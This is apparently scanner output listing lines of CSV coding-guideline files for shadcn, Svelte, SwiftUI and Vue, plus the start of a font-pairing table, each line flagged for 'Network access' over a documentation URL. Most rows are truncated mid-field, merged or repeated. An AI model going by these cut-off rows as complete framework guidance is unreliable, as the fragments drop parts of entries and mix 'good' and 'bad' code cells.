50,Blocks,Use blocks for scaffolding,Start from shadcn blocks for common layouts,npx shadcn@latest add dashboard-01,Build dashboard from scratch,npx shadcn@latest add login-01,Custom login page from scratch,Medium,https://ui.shadcn.com/bloc - Network accessline 52
51,Blocks,Customize block components,Modify copied block code to fit needs,Edit block files after installation,Use blocks without modification,Customize dashboard-01 layout,Use dashboard-01 as-is,Low,https://ui.shadcn.com/blocks - Network accessline 53
52,A11y,Use semantic components,Shadcn components have built-in ARIA,Rely on component accessibility,Override ARIA attributes,<Button> has button role,<div role="button">,High,https://ui.shadcn.com/docs/components/button - Network accessline 54
53,A11y,Maintain focus management,Dialog Sheet handle focus automatically,Let components manage focus,Custom focus handling,<Dialog> traps focus,document.querySelector().focus(),High,https://ui.shadcn.com/docs/components/dialog - Network accessline 55
54,A11y,Provide labels,Use FormLabel and aria-label appropriately,FormLabel for form inputs,Placeholder as only label,<FormLabel>Email</FormLabel><Input/>,<Input placeholder="Email"/>,High,https://ui.shadcn.com/docs/components/form - Network accessline 56
55,Performance,Import components individually,Import only needed components,Named imports from component files,Import all from index,import { Button } from "@/components/ui/button",import { Button Card Dialog } from "@/components/ui",Medium - Network accessline 57
56,Performance,Lazy load dialogs,Dynamic import for heavy dialog content,React.lazy for dialog content,Import all dialogs upfront,const HeavyContent = lazy(() => import('./Heavy')),import HeavyContent from './Heavy',Medium, 57,Customization - Network accessline 58
57,Customization,Extend variants with cva,Add new variants using class-variance-authority,Extend buttonVariants for new styles,Inline classes for variants,"variants: { size: { xl: ""h-14 px-8"" } }",className="h-14 px-8",Medium,https://ui.s - Network accessline 59
58,Customization,Create custom components,Build new components following shadcn patterns,Use cn() and cva for custom components,Different patterns for custom,const Custom = ({ className }) => <div className={cn("base" className)}>,const Cus - Network accessline 60
59,Patterns,Use asChild for composition,asChild prop for component composition,Slot pattern with asChild,Wrapper divs for composition,<Button asChild><Link href="/">,<Button><Link href="/"></Link></Button>,Medium,https://ui.shadcn.com/docs/ - Network accessline 61
60,Patterns,Combine with React Hook Form,Form + useForm for complete forms,RHF Controller with shadcn inputs,Custom form state management,<FormField control={form.control} name="email">,<Input value={email} onChange={(e) => setEmail(e.targe
skills/ui-ux-pro-max/data/stacks/svelte.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Reactivity,Use $: for reactive statements,Automatic dependency tracking,$: for derived values,Manual recalculation,$: doubled = count * 2,let doubled; count & - Network accessline 2
1,Reactivity,Use $: for reactive statements,Automatic dependency tracking,$: for derived values,Manual recalculation,$: doubled = count * 2,let doubled; count && (doubled = count * 2),Medium,https://svelte.dev/docs/svelte-components#script- - Network accessline 3
2,Reactivity,Trigger reactivity with assignment,Svelte tracks assignments not mutations,Reassign arrays/objects to trigger update,Mutate without reassignment,"items = [...items, newItem]",items.push(newItem),High,https://svelte.dev/docs/sve - Network accessline 4
3,Reactivity,Use $state in Svelte 5,Runes for explicit reactivity,let count = $state(0),Implicit reactivity in Svelte 5,let count = $state(0),let count = 0 (Svelte 5),Medium,https://svelte.dev/blog/runes - Network accessline 5
4,Reactivity,Use $derived for computed values,$derived replaces $: in Svelte 5,let doubled = $derived(count * 2),$: in Svelte 5,let doubled = $derived(count * 2),$: doubled = count * 2 (Svelte 5),Medium, 5,Reactivity,Use $effect for side ef - Network accessline 6
5,Reactivity,Use $effect for side effects,$effect replaces $: side effects,Use $effect for subscriptions,$: for side effects in Svelte 5,$effect(() => console.log(count)),$: console.log(count) (Svelte 5),Medium, 6,Props,Export let for props - Network accessline 7
6,Props,Export let for props,Declare props with export let,export let propName,Props without export,export let count = 0,let count = 0,High,https://svelte.dev/docs/svelte-components#script-1-export-creates-a-component-prop - Network accessline 8
7,Props,Use $props in Svelte 5,$props rune for prop access,let { name } = $props(),export let in Svelte 5,"let { name, age = 0 } = $props()",export let name; export let age = 0,Medium, 8,Props,Provide default values,Default props with assig - Network accessline 9
8,Props,Provide default values,Default props with assignment,export let count = 0,Required props without defaults,export let count = 0,export let count,Low, 9,Props,Use spread props,Pass through unknown props,{...$$restProps} on elements,Ma - Network accessline 10
9,Props,Use spread props,Pass through unknown props,{...$$restProps} on elements,Manual prop forwarding,<button {...$$restProps}>,<button class={$$props.class}>,Low,https://svelte.dev/docs/basic-markup#attributes-and-props - Network accessline 11
10,Bindings,Use bind: for two-way binding,Simplified input handling,bind:value for inputs,on:input with manual update,<input bind:value={name}>,<input value={name} on:input={e => name = e.target.value}>,Low,https://svelte.dev/docs/element-d - Network accessline 12
11,Bindings,Bind to DOM elements,Reference DOM nodes,bind:this for element reference,querySelector in onMount,<div bind:this={el}>,onMount(() => el = document.querySelector()),Medium, 12,Bindings,Use bind:group for radios/checkboxes,Simplif - Network accessline 13
12,Bindings,Use bind:group for radios/checkboxes,Simplified group handling,bind:group for radio/checkbox groups,Manual checked handling,"<input type=""radio"" bind:group={selected}>","<input type=""radio"" checked={selected === value}>",Low - Network accessline 14
13,Events,Use on: for event handlers,Event directive syntax,on:click={handler},addEventListener in onMount,<button on:click={handleClick}>,onMount(() => btn.addEventListener()),Medium,https://svelte.dev/docs/element-directives#on-eventname - Network accessline 15
14,Events,Forward events with on:event,Pass events to parent,on:click without handler,createEventDispatcher for DOM events,<button on:click>,"dispatch('click', event)",Low, 15,Events,Use createEventDispatcher,Custom component events,dispatc - Network accessline 16
15,Events,Use createEventDispatcher,Custom component events,dispatch for custom events,on:event for custom events,"dispatch('save', { data })",on:save without dispatch,Medium,https://svelte.dev/docs/svelte#createeventdispatcher - Network accessline 17
16,Lifecycle,Use onMount for initialization,Run code after component mounts,onMount for setup and data fetching,Code in script body for side effects,onMount(() => fetchData()),fetchData() in script body,High,https://svelte.dev/docs/svelte#o - Network accessline 19
18,Lifecycle,Use onDestroy sparingly,Only when onMount cleanup not possible,onDestroy for non-mount cleanup,onDestroy for mount-related cleanup,onDestroy for store unsubscribe,onDestroy(() => clearInterval(id)),Low, 19,Lifecycle,Avoid befor - Network accessline 20
19,Lifecycle,Avoid beforeUpdate/afterUpdate,Usually not needed,Reactive statements instead,beforeUpdate for derived state,$: if (x) doSomething(),beforeUpdate(() => doSomething()),Low, 20,Stores,Use writable for mutable state,Basic reactive - Network accessline 21
20,Stores,Use writable for mutable state,Basic reactive store,writable for shared mutable state,Local variables for shared state,const count = writable(0),let count = 0 in module,Medium,https://svelte.dev/docs/svelte-store#writable - Network accessline 22
21,Stores,Use readable for read-only state,External data sources,readable for derived/external data,writable for read-only data,"readable(0, set => interval(set))",writable(0) for timer,Low,https://svelte.dev/docs/svelte-store#readable - Network accessline 23
22,Stores,Use derived for computed stores,Combine or transform stores,derived for computed values,Manual subscription for derived,"derived(count, $c => $c * 2)",count.subscribe(c => doubled = c * 2),Medium,https://svelte.dev/docs/svelte-sto - Network accessline 24
23,Stores,Use $ prefix for auto-subscription,Automatic subscribe/unsubscribe,$storeName in components,Manual subscription,{$count},count.subscribe(c => value = c),High, 24,Stores,Clean up custom subscriptions,Unsubscribe when component dest - Network accessline 25
24,Stores,Clean up custom subscriptions,Unsubscribe when component destroys,Return unsubscribe from onMount,Leave subscriptions open,onMount(() => store.subscribe(fn)),store.subscribe(fn) in script,High, 25,Slots,Use slots for composition,C - Network accessline 26
25,Slots,Use slots for composition,Content projection,<slot> for flexible content,Props for all content,<slot>Default</slot>,"<Component content=""text""/>",Medium,https://svelte.dev/docs/special-elements#slot - Network accessline 27
26,Slots,Name slots for multiple areas,Multiple content areas,"<slot name=""header"">",Single slot for complex layouts,"<slot name=""header""><slot name=""footer"">",<slot> with complex conditionals,Low, 27,Slots,Check slot content with $$s - Network accessline 28
27,Slots,Check slot content with $$slots,Conditional slot rendering,$$slots.name for conditional rendering,Always render slot wrapper,"{#if $$slots.footer}<slot name=""footer""/>{/if}","<div><slot name=""footer""/></div>",Low, 28,Styling,Us - Network accessline 29
28,Styling,Use scoped styles by default,Styles scoped to component,<style> for component styles,Global styles for component,:global() only when needed,<style> all global,Medium,https://svelte.dev/docs/svelte-components#style - Network accessline 30
29,Styling,Use :global() sparingly,Escape scoping when needed,:global for third-party styling,Global for all styles,:global(.external-lib),<style> without scoping,Medium, 30,Styling,Use CSS variables for theming,Dynamic styling,CSS custom p - Network accessline 31
30,Styling,Use CSS variables for theming,Dynamic styling,CSS custom properties,Inline styles for themes,"style=""--color: {color}""","style=""color: {color}""",Low, 31,Transitions,Use built-in transitions,Svelte transition directives,transi - Network accessline 32
31,Transitions,Use built-in transitions,Svelte transition directives,transition:fade for simple effects,Manual CSS transitions,<div transition:fade>,<div class:fade={visible}>,Low,https://svelte.dev/docs/element-directives#transition-fn - Network accessline 33
32,Transitions,Use in: and out: separately,Different enter/exit animations,in:fly out:fade for asymmetric,Same transition for both,<div in:fly out:fade>,<div transition:fly>,Low, 33,Transitions,Add local modifier,Prevent ancestor trigger,tr - Network accessline 34
33,Transitions,Add local modifier,Prevent ancestor trigger,transition:fade|local,Global transitions for lists,<div transition:slide|local>,<div transition:slide>,Medium, 34,Actions,Use actions for DOM behavior,Reusable DOM logic,use:action - Network accessline 35
34,Actions,Use actions for DOM behavior,Reusable DOM logic,use:action for DOM enhancements,onMount for each usage,<div use:clickOutside>,onMount(() => setupClickOutside(el)),Medium,https://svelte.dev/docs/element-directives#use-action - Network accessline 36
35,Actions,Return update and destroy,Lifecycle methods for actions,"Return { update, destroy }",Only initial setup,"return { update(params) {}, destroy() {} }",return destroy only,Medium, 36,Actions,Pass parameters to actions,Configure acti - Network accessline 37
36,Actions,Pass parameters to actions,Configure action behavior,use:action={params},Hardcoded action behavior,<div use:tooltip={options}>,<div use:tooltip>,Low, 37,Logic,Use {#if} for conditionals,Template conditionals,{#if} {:else if} {:el - Network accessline 38
37,Logic,Use {#if} for conditionals,Template conditionals,{#if} {:else if} {:else},Ternary in expressions,{#if cond}...{:else}...{/if},{cond ? a : b} for complex,Low,https://svelte.dev/docs/logic-blocks#if - Network accessline 39
38,Logic,Use {#each} for lists,List rendering,{#each} with key,Map in expression,{#each items as item (item.id)},{items.map(i => `<div>${i}</div>`)},Medium, 39,Logic,Always use keys in {#each},Proper list reconciliation,(item.id) for unique - Network accessline 40
39,Logic,Always use keys in {#each},Proper list reconciliation,(item.id) for unique key,Index as key or no key,{#each items as item (item.id)},"{#each items as item, i (i)}",High, 40,Logic,Use {#await} for promises,Handle async states,{#awa - Network accessline 41
40,Logic,Use {#await} for promises,Handle async states,{#await} for loading/error states,Manual promise handling,{#await promise}...{:then}...{:catch},{#if loading}...{#if error},Medium,https://svelte.dev/docs/logic-blocks#await - Network accessline 42
41,SvelteKit,Use +page.svelte for routes,File-based routing,+page.svelte for route components,Custom routing setup,routes/about/+page.svelte,routes/About.svelte,Medium,https://kit.svelte.dev/docs/routing - Network accessline 43
42,SvelteKit,Use +page.js for data loading,Load data before render,load function in +page.js,onMount for data fetching,export function load() {},onMount(() => fetchData()),High,https://kit.svelte.dev/docs/load 43,SvelteKit,Use +page.server. - Network accessline 44
43,SvelteKit,Use +page.server.js for server-only,Server-side data loading,+page.server.js for sensitive data,+page.js for API keys,+page.server.js with DB access,+page.js with DB access,High, 44,SvelteKit,Use form actions,Server-side form h - Network accessline 45
44,SvelteKit,Use form actions,Server-side form handling,+page.server.js actions,API routes for forms,export const actions = { default },fetch('/api/submit'),Medium,https://kit.svelte.dev/docs/form-actions - Network accessline 46
45,SvelteKit,Use $app/stores for app state,$page $navigating $updated,$page for current page data,Manual URL parsing,import { page } from '$app/stores',window.location.pathname,Medium,https://kit.svelte.dev/docs/modules#$app-stores - Network accessline 47
46,Performance,Use {#key} for forced re-render,Reset component state,{#key id} for fresh instance,Manual destroy/create,{#key item.id}<Component/>{/key},on:change={() => component = null},Low,https://svelte.dev/docs/logic-blocks#key - Network accessline 48
47,Performance,Avoid unnecessary reactivity,Not everything needs $:,$: only for side effects,$: for simple assignments,$: if (x) console.log(x),$: y = x (when y = x works),Low, 48,Performance,Use immutable compiler option,Skip equality chec - Network accessline 49
48,Performance,Use immutable compiler option,Skip equality checks,immutable: true for large lists,Default for all components,<svelte:options immutable/>,Default without immutable,Low, 49,TypeScript,"Use lang=""ts"" in script",TypeScript sup - Network accessline 50
49,TypeScript,"Use lang=""ts"" in script",TypeScript support,"<script lang=""ts"">",JavaScript for typed projects,"<script lang=""ts"">",<script> with JSDoc,Medium,https://svelte.dev/docs/typescript
skills/ui-ux-pro-max/data/stacks/swiftui.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Views,Use struct for views,SwiftUI views are value types,struct MyView: View,class MyView: View,struct ContentView: View { var body: some View },class Content - Network accessline 2
1,Views,Use struct for views,SwiftUI views are value types,struct MyView: View,class MyView: View,struct ContentView: View { var body: some View },class ContentView: View,High,https://developer.apple.com/documentation/swiftui/view - Network accessline 4
3,Views,Use body computed property,body returns the view hierarchy,var body: some View { },func body() -> some View,"var body: some View { Text(""Hello"") }",func body() -> Text,High, 4,Views,Prefer composition over inheritance,Compose view - Network accessline 5
4,Views,Prefer composition over inheritance,Compose views using ViewBuilder,Combine smaller views,Inheritance hierarchies,VStack { Header() Content() },class SpecialView extends BaseView,Medium, 5,State,Use @State for local state,Simple val - Network accessline 6
5,State,Use @State for local state,Simple value types owned by view,@State for view-local primitives,@State for shared data,@State private var count = 0,@State var sharedData: Model,High,https://developer.apple.com/documentation/swiftui/sta - Network accessline 7
6,State,Use @Binding for two-way data,Pass mutable state to child views,@Binding for child input,@State in child for parent data,@Binding var isOn: Bool,$isOn to pass binding,Medium,https://developer.apple.com/documentation/swiftui/binding - Network accessline 8
7,State,Use @StateObject for reference types,ObservableObject owned by view,@StateObject for view-created objects,@ObservedObject for owned objects,@StateObject private var vm = ViewModel(),@ObservedObject var vm = ViewModel(),High,https:// - Network accessline 9
8,State,Use @ObservedObject for injected objects,Reference types passed from parent,@ObservedObject for injected dependencies,@StateObject for injected objects,@ObservedObject var vm: ViewModel,@StateObject var vm: ViewModel (injected),High - Network accessline 10
9,State,Use @EnvironmentObject for shared state,App-wide state injection,@EnvironmentObject for global state,Prop drilling through views,@EnvironmentObject var settings: Settings,Pass settings through 5 views,Medium,https://developer.apple. - Network accessline 11
10,State,Use @Published in ObservableObject,Automatically publish property changes,@Published for observed properties,Manual objectWillChange calls,@Published var items: [Item] = [],var items: [Item] { didSet { objectWillChange.send() } },M - Network accessline 12
11,Observable,Use @Observable macro (iOS 17+),Modern observation without Combine,@Observable class for view models,ObservableObject for new projects,@Observable class ViewModel { },class ViewModel: ObservableObject,Medium,https://developer. - Network accessline 13
12,Observable,Use @Bindable for @Observable,Create bindings from @Observable,@Bindable var vm for bindings,@Binding with @Observable,@Bindable var viewModel,$viewModel.name with @Observable,Medium, 13,Layout,Use VStack HStack ZStack,Standar - Network accessline 14
13,Layout,Use VStack HStack ZStack,Standard stack-based layouts,Stacks for linear arrangements,GeometryReader for simple layouts,VStack { Text() Image() },GeometryReader for vertical list,Medium,https://developer.apple.com/documentation/swi - Network accessline 15
14,Layout,Use LazyVStack LazyHStack for lists,Lazy loading for performance,Lazy stacks for long lists,Regular stacks for 100+ items,LazyVStack { ForEach(items) },VStack { ForEach(largeArray) },High,https://developer.apple.com/documentation/ - Network accessline 18
17,Layout,Use frame modifiers correctly,Set explicit sizes when needed,.frame(maxWidth: .infinity),Fixed sizes for responsive content,.frame(maxWidth: .infinity),.frame(width: 375),Medium, 18,Modifiers,Order modifiers correctly,Modifier ord - Network accessline 19
18,Modifiers,Order modifiers correctly,Modifier order affects rendering,Background before padding for full coverage,Wrong modifier order,.padding().background(Color.red),.background(Color.red).padding(),High, 19,Modifiers,Create custom View - Network accessline 20
19,Modifiers,Create custom ViewModifiers,Reusable modifier combinations,ViewModifier for repeated styling,Duplicate modifier chains,struct CardStyle: ViewModifier,.shadow().cornerRadius() everywhere,Medium,https://developer.apple.com/docume - Network accessline 21
20,Modifiers,Use conditional modifiers carefully,Avoid changing view identity,if-else with same view type,Conditional that changes view identity,Text(title).foregroundColor(isActive ? .blue : .gray),if isActive { Text().bold() } else { Text - Network accessline 22
21,Navigation,Use NavigationStack (iOS 16+),Modern navigation with type-safe paths,NavigationStack with navigationDestination,NavigationView for new projects,NavigationStack { },NavigationView { } (deprecated),Medium,https://developer.apple - Network accessline 23
22,Navigation,Use navigationDestination,Type-safe navigation destinations,.navigationDestination(for:),NavigationLink(destination:),.navigationDestination(for: Item.self),NavigationLink(destination: DetailView()),Medium, 23,Navigation,Use @ - Network accessline 24
23,Navigation,Use @Environment for dismiss,Programmatic navigation dismissal,@Environment(\.dismiss) var dismiss,presentationMode (deprecated),@Environment(\.dismiss) var dismiss,@Environment(\.presentationMode),Low, 24,Lists,Use List for s - Network accessline 25
24,Lists,Use List for scrollable content,Built-in scrolling and styling,List for standard scrollable content,ScrollView + VStack for simple lists,List { ForEach(items) { } },ScrollView { VStack { ForEach } },Low,https://developer.apple.com/ - Network accessline 26
25,Lists,Provide stable identifiers,Use Identifiable or explicit id,Identifiable protocol or id parameter,Index as identifier,ForEach(items) where Item: Identifiable,"ForEach(items.indices, id: \.self)",High, 26,Lists,Use onDelete and onMov - Network accessline 27
26,Lists,Use onDelete and onMove,Standard list editing,onDelete for swipe to delete,Custom delete implementation,.onDelete(perform: delete),.onTapGesture for delete,Low, 27,Forms,Use Form for settings,Grouped input controls,Form for setting - Network accessline 28
27,Forms,Use Form for settings,Grouped input controls,Form for settings screens,Manual grouping for forms,Form { Section { Toggle() } },VStack { Toggle() },Low,https://developer.apple.com/documentation/swiftui/form - Network accessline 29
28,Forms,Use @FocusState for keyboard,Manage keyboard focus,@FocusState for text field focus,Manual first responder handling,@FocusState private var isFocused: Bool,UIKit first responder,Medium,https://developer.apple.com/documentation/swif - Network accessline 30
29,Forms,Validate input properly,Show validation feedback,Real-time validation feedback,Submit without validation,TextField with validation state,TextField without error handling,Medium, 30,Async,Use .task for async work,Automatic cancellat - Network accessline 31
30,Async,Use .task for async work,Automatic cancellation on view disappear,.task for view lifecycle async,onAppear with Task,.task { await loadData() },onAppear { Task { await loadData() } },Medium,https://developer.apple.com/documentation/ - Network accessline 32
31,Async,Handle loading states,Show progress during async operations,ProgressView during loading,Empty view during load,if isLoading { ProgressView() },No loading indicator,Medium, 32,Async,Use @MainActor for UI updates,Ensure UI updates on - Network accessline 33
32,Async,Use @MainActor for UI updates,Ensure UI updates on main thread,@MainActor on view models,Manual DispatchQueue.main,@MainActor class ViewModel,DispatchQueue.main.async,Medium, 33,Animation,Use withAnimation,Animate state changes,wit - Network accessline 34
33,Animation,Use withAnimation,Animate state changes,withAnimation for state transitions,No animation for state changes,withAnimation { isExpanded.toggle() },isExpanded.toggle(),Low,https://developer.apple.com/documentation/swiftui/withanim - Network accessline 41
40,Performance,Use Equatable views,Skip unnecessary view updates,Equatable for complex views,Default equality for all views,struct MyView: View Equatable,No Equatable conformance,Medium, 41,Performance,Profile with Instruments,Measure befor - Network accessline 42
41,Performance,Profile with Instruments,Measure before optimizing,Use SwiftUI Instruments,Guess at performance issues,Profile with Instruments,Optimize without measuring,Medium, 42,Accessibility,Add accessibility labels,Describe UI elements - Network accessline 43
42,Accessibility,Add accessibility labels,Describe UI elements,.accessibilityLabel for context,Missing labels,".accessibilityLabel(""Close button"")",Button without label,High,https://developer.apple.com/documentation/swiftui/view/accessibi
skills/ui-ux-pro-max/data/stacks/vue.csv
- Network accessline 1
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Composition,Use Composition API for new projects,Composition API offers better TypeScript support and logic reuse,<script setup> for components,Options API fo - Network accessline 2
1,Composition,Use Composition API for new projects,Composition API offers better TypeScript support and logic reuse,<script setup> for components,Options API for new projects,<script setup>,export default { data() },Medium,https://vuejs.org - Network accessline 3
2,Composition,Use script setup syntax,Cleaner syntax with automatic exports,<script setup> with defineProps,setup() function manually,<script setup>,<script> setup() { return {} },Low,https://vuejs.org/api/sfc-script-setup.html - Network accessline 4
3,Reactivity,Use ref for primitives,ref() for primitive values that need reactivity,ref() for strings numbers booleans,reactive() for primitives,const count = ref(0),const count = reactive(0),Medium,https://vuejs.org/guide/essentials/reacti - Network accessline 5
4,Reactivity,Use reactive for objects,reactive() for complex objects and arrays,reactive() for objects with multiple properties,ref() for complex objects,const state = reactive({ user: null }),const state = ref({ user: null }),Medium, 5,Rea - Network accessline 6
5,Reactivity,Access ref values with .value,Remember .value in script unwrap in template,Use .value in script,Forget .value in script,count.value++,count++ (in script),High, 6,Reactivity,Use computed for derived state,Computed properties cac - Network accessline 7
6,Reactivity,Use computed for derived state,Computed properties cache and update automatically,computed() for derived values,Methods for derived values,const doubled = computed(() => count.value * 2),const doubled = () => count.value * 2,Me - Network accessline 8
7,Reactivity,Use shallowRef for large objects,Avoid deep reactivity for performance,shallowRef for large data structures,ref for large nested objects,const bigData = shallowRef(largeObject),const bigData = ref(largeObject),Medium,https://vu - Network accessline 9
8,Watchers,Use watchEffect for simple cases,Auto-tracks dependencies,watchEffect for simple reactive effects,watch with explicit deps when not needed,watchEffect(() => console.log(count.value)),"watch(count, (val) => console.log(val))",Low, - Network accessline 10
9,Watchers,Use watch for specific sources,Explicit control over what to watch,watch with specific refs,watchEffect for complex conditional logic,"watch(userId, fetchUser)",watchEffect with conditionals,Medium, 10,Watchers,Clean up side effe - Network accessline 11
10,Watchers,Clean up side effects,Return cleanup function in watchers,Return cleanup in watchEffect,Leave subscriptions open,watchEffect((onCleanup) => { onCleanup(unsub) }),watchEffect without cleanup,High, 11,Props,Define props with defin - Network accessline 12
11,Props,Define props with defineProps,Type-safe prop definitions,defineProps with TypeScript,Props without types,defineProps<{ msg: string }>(),defineProps(['msg']),Medium,https://vuejs.org/guide/typescript/composition-api.html#typing-comp - Network accessline 13
12,Props,Use withDefaults for default values,Provide defaults for optional props,withDefaults with defineProps,Defaults in destructuring,"withDefaults(defineProps<Props>(), { count: 0 })",const { count = 0 } = defineProps(),Medium, 13,Props - Network accessline 14
13,Props,Avoid mutating props,Props should be read-only,Emit events to parent for changes,Direct prop mutation,"emit('update:modelValue', newVal)",props.modelValue = newVal,High, 14,Emits,Define emits with defineEmits,Type-safe event emissi - Network accessline 15
14,Emits,Define emits with defineEmits,Type-safe event emissions,defineEmits with types,Emit without definition,defineEmits<{ change: [id: number] }>(),"emit('change', id) without define",Medium,https://vuejs.org/guide/typescript/compositio - Network accessline 16
15,Emits,Use v-model for two-way binding,Simplified parent-child data flow,v-model with modelValue prop,:value + @input manually,"<Child v-model=""value""/>","<Child :value=""value"" @input=""value = $event""/>",Low,https://vuejs.org/guide/ - Network accessline 17
16,Lifecycle,Use onMounted for DOM access,DOM is ready in onMounted,onMounted for DOM operations,Access DOM in setup directly,onMounted(() => el.value.focus()),el.value.focus() in setup,High,https://vuejs.org/api/composition-api-lifecycle.h - Network accessline 19
18,Lifecycle,Avoid onBeforeMount for data,Use onMounted or setup for data fetching,Fetch in onMounted or setup,Fetch in onBeforeMount,onMounted(async () => await fetchData()),onBeforeMount(async () => await fetchData()),Low, 19,Components,U - Network accessline 20
19,Components,Use single-file components,Keep template script style together,.vue files for components,Separate template/script files,Component.vue with all parts,Component.js + Component.html,Low, 20,Components,Use PascalCase for component - Network accessline 21
20,Components,Use PascalCase for components,Consistent component naming,PascalCase in imports and templates,kebab-case in script,<MyComponent/>,<my-component/>,Low,https://vuejs.org/style-guide/rules-strongly-recommended.html - Network accessline 22
21,Components,Prefer composition over mixins,Composables replace mixins,Composables for shared logic,Mixins for code reuse,const { data } = useApi(),mixins: [apiMixin],Medium, 22,Composables,Name composables with use prefix,Convention for c - Network accessline 23
22,Composables,Name composables with use prefix,Convention for composable functions,useFetch useAuth useForm,getData or fetchApi,export function useFetch(),export function fetchData(),Medium,https://vuejs.org/guide/reusability/composables.h - Network accessline 24
23,Composables,Return refs from composables,Maintain reactivity when destructuring,Return ref values,Return reactive objects that lose reactivity,return { data: ref(null) },return reactive({ data: null }),Medium, 24,Composables,Accept ref o - Network accessline 25
24,Composables,Accept ref or value params,Use toValue for flexible inputs,toValue() or unref() for params,Only accept ref or only value,const val = toValue(maybeRef),const val = maybeRef.value,Low,https://vuejs.org/api/reactivity-utilities. - Network accessline 26
25,Templates,Use v-bind shorthand,Cleaner template syntax,:prop instead of v-bind:prop,Full v-bind syntax,"<div :class=""cls"">","<div v-bind:class=""cls"">",Low, 26,Templates,Use v-on shorthand,Cleaner event binding,@event instead of v-on: - Network accessline 27
26,Templates,Use v-on shorthand,Cleaner event binding,@event instead of v-on:event,Full v-on syntax,"<button @click=""handler"">","<button v-on:click=""handler"">",Low, 27,Templates,Avoid v-if with v-for,v-if has higher priority causes issu - Network accessline 28
27,Templates,Avoid v-if with v-for,v-if has higher priority causes issues,Wrap in template or computed filter,v-if on same element as v-for,<template v-for><div v-if>,<div v-for v-if>,High,https://vuejs.org/style-guide/rules-essential.html# - Network accessline 29
28,Templates,Use key with v-for,Proper list rendering and updates,Unique key for each item,Index as key for dynamic lists,"v-for=""item in items"" :key=""item.id""","v-for=""(item, i) in items"" :key=""i""",High, 29,State,Use Pinia for glob - Network accessline 30
29,State,Use Pinia for global state,Official state management for Vue 3,Pinia stores for shared state,Vuex for new projects,const store = useCounterStore(),Vuex with mutations,Medium,https://pinia.vuejs.org/ - Network accessline 31
30,State,Define stores with defineStore,Composition API style stores,Setup stores with defineStore,Options stores for complex state,"defineStore('counter', () => {})","defineStore('counter', { state })",Low, 31,State,Use storeToRefs for des - Network accessline 32
31,State,Use storeToRefs for destructuring,Maintain reactivity when destructuring,storeToRefs(store),Direct destructuring,const { count } = storeToRefs(store),const { count } = store,High,https://pinia.vuejs.org/core-concepts/#destructuring - Network accessline 33
32,Routing,Use useRouter and useRoute,Composition API router access,useRouter() useRoute() in setup,this.$router this.$route,const router = useRouter(),this.$router.push(),Medium,https://router.vuejs.org/guide/advanced/composition-api.html - Network accessline 34
33,Routing,Lazy load route components,Code splitting for routes,() => import() for components,Static imports for all routes,component: () => import('./Page.vue'),component: Page,Medium,https://router.vuejs.org/guide/advanced/lazy-loading.ht - Network accessline 35
34,Routing,Use navigation guards,Protect routes and handle redirects,beforeEach for auth checks,Check auth in each component,router.beforeEach((to) => {}),Check auth in onMounted,Medium, 35,Performance,Use v-once for static content,Skip re- - Network accessline 36
35,Performance,Use v-once for static content,Skip re-renders for static elements,v-once on never-changing content,v-once on dynamic content,<div v-once>{{ staticText }}</div>,<div v-once>{{ dynamicText }}</div>,Low,https://vuejs.org/api/bui - Network accessline 37
36,Performance,Use v-memo for expensive lists,Memoize list items,v-memo with dependency array,Re-render entire list always,"<div v-for v-memo=""[item.id]"">",<div v-for> without memo,Medium,https://vuejs.org/api/built-in-directives.html#v-m - Network accessline 38
37,Performance,Use shallowReactive for flat objects,Avoid deep reactivity overhead,shallowReactive for flat state,reactive for simple objects,shallowReactive({ count: 0 }),reactive({ count: 0 }),Low, 38,Performance,Use defineAsyncComponent, - Network accessline 39
38,Performance,Use defineAsyncComponent,Lazy load heavy components,defineAsyncComponent for modals dialogs,Import all components eagerly,defineAsyncComponent(() => import()),import HeavyComponent from,Medium,https://vuejs.org/guide/componen - Network accessline 40
39,TypeScript,Use generic components,Type-safe reusable components,Generic with defineComponent,Any types in components,"<script setup lang=""ts"" generic=""T"">",<script setup> without types,Medium,https://vuejs.org/guide/typescript/compos - Network accessline 41
40,TypeScript,Type template refs,Proper typing for DOM refs,ref<HTMLInputElement>(null),ref(null) without type,const input = ref<HTMLInputElement>(null),const input = ref(null),Medium, 41,TypeScript,Use PropType for complex props,Type compl - Network accessline 42
41,TypeScript,Use PropType for complex props,Type complex prop types,PropType<User> for object props,Object without type,type: Object as PropType<User>,type: Object,Medium, 42,Testing,Use Vue Test Utils,Official testing library,mount shallo - Network accessline 43
42,Testing,Use Vue Test Utils,Official testing library,mount shallowMount for components,Manual DOM testing,import { mount } from '@vue/test-utils',document.createElement,Medium,https://test-utils.vuejs.org/ - Network accessline 44
43,Testing,Test component behavior,Focus on inputs and outputs,Test props emit and rendered output,Test internal implementation,expect(wrapper.text()).toContain(),expect(wrapper.vm.internalState),Medium, 44,Forms,Use v-model modifiers,Built - Network accessline 45
44,Forms,Use v-model modifiers,Built-in input handling,.lazy .number .trim modifiers,Manual input parsing,"<input v-model.number=""age"">","<input v-model=""age""> then parse",Low,https://vuejs.org/guide/essentials/forms.html#modifiers - Network accessline 47
46,Accessibility,Use semantic elements,Proper HTML elements in templates,button nav main for purpose,div for everything,<button @click>,<div @click>,High, 47,Accessibility,Bind aria attributes dynamically,Keep ARIA in sync with state,":aria - Network accessline 48
47,Accessibility,Bind aria attributes dynamically,Keep ARIA in sync with state,":aria-expanded=""isOpen""",Static ARIA values,":aria-expanded=""menuOpen""","aria-expanded=""true""",Medium, 48,SSR,Use Nuxt for SSR,Full-featured SSR framework - Network accessline 49
48,SSR,Use Nuxt for SSR,Full-featured SSR framework,Nuxt 3 for SSR apps,Manual SSR setup,npx nuxi init my-app,Custom SSR configuration,Medium,https://nuxt.com/
skills/ui-ux-pro-max/data/typography.csv
- Network accessline 1
STT,Font Pairing Name,Category,Heading Font,Body Font,Mood/Style Keywords,Best For,Google Fonts URL,CSS Import,Tailwind Config,Notes 1,Classic Elegant,"Serif + Sans",Playfair Display,Inter,"elegant, luxury, sophisticated, timeless, premium, - Network accessline 2
1,Classic Elegant,"Serif + Sans",Playfair Display,Inter,"elegant, luxury, sophisticated, timeless, premium, editorial","Luxury brands, fashion, spa, beauty, editorial, magazines, high-end e-commerce","https://fonts.google.com/share?selectio - Network accessline 3
